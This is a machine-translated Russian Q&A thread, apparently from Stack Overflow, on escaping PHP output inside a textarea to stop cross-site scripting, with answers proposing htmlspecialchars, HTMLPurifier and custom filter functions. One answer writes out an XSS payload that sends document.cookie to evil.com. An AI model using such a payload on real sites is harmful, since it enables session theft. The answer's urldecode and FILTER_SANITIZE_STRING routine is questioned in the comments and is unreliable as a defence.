Санация вывода в текстовую область из XSS

Каковы наилучшие методы очистки значений из базы данных (в php), если они должны использоваться во входных данных, таких как текстовые области?

Например, при вставке данных я могу удалить теги и кавычки и заменить их кодами символов html, а затем использовать mysql_real_escape_string прямо перед вставкой.

При извлечении этих данных мне нужно, чтобы они отображались в текстовом поле. Как я могу сделать это и при этом избежать XSS? (Например, вы можете легко ввести

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) и вызвать проблемы.

Спасибо!


person Ryan Stortz    schedule 22.04.2012    source источник
comment
Поскольку вы упомянули mysql_real_escape_string(), я предполагаю, что вы хотите сделать это с помощью PHP?   -  person tcole    schedule 22.04.2012


Ответы (3)


Я думаю, что я бы предпочел комбинацию filter_var и url_decode, если вы хотите использовать чистое простое решение php.

Причина

Представь себе такое вменение

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

Если я использую strip_tags

var_dump(strip_tags($maliciousCode));

Вывод

string 'document.write("' (length=16)

если я использую htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

Вывод

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

Мой выбор

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

Вывод

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

Если в форме используется GET вместо POST, некоторые могут сбежать, если она закодирована по URL-адресу, вы можете получить минимальную информацию и убедиться, что окончательный текст безвреден.

Также достаточно онлайн-класса, чтобы помочь вам увидеть фильтр.

person Baba    schedule 22.04.2012
comment
почему не добавляет слэш? - person Nabeel Khan; 11.04.2016
comment
К сожалению, это не позволяет пройти нескольким символам, таким как ‹›&. Если пользователь, например, напишет текст «1‹2», он будет поврежден на выходе. - person danielson317; 05.06.2017

HTMLpurifier – отличный инструмент для удаления нежелательного HTML, особенно нежелательного JavaScript. Также рекомендуется использовать htmlspecialchars() для вывода пользовательского контента.

person John Conde    schedule 22.04.2012

После получения грязного спамера в моей контактной форме я расширил свою функцию, которая дезинфицирует ввод пользователя в текстовое поле. Теперь он также охватывает ввод многострочного текстового поля.

Мне нужно было отформатировать для нормального отображения, а также html-письма со страницы контактов. Это также дает возможность форматировать текстовое электронное письмо, которое я также использую.

function clean_text($text, $html = true)
{ if($text == ""){return "";}
  $text = nl2br($text,false); // false gives <br>, true gives <br />
  $textary = explode("<br>",$text);
  foreach($textary as $key => $val)
  { $val = trim($val);
    $val = stripslashes($val);
    $val = htmlspecialchars($val);
    $textary[$key] = $val;
  }
  if ($html)
  { return implode("<br />",$textary);} //return implode("<br>",$textary);
  else
  { return implode("\r\n",$textary);}
}   

Кстати... Спасибо участникам SO за участие в моем изучении PHP.

Пример на http://www.microcal.ca/scripts/cleantext.php

person Dave Preece    schedule 19.06.2014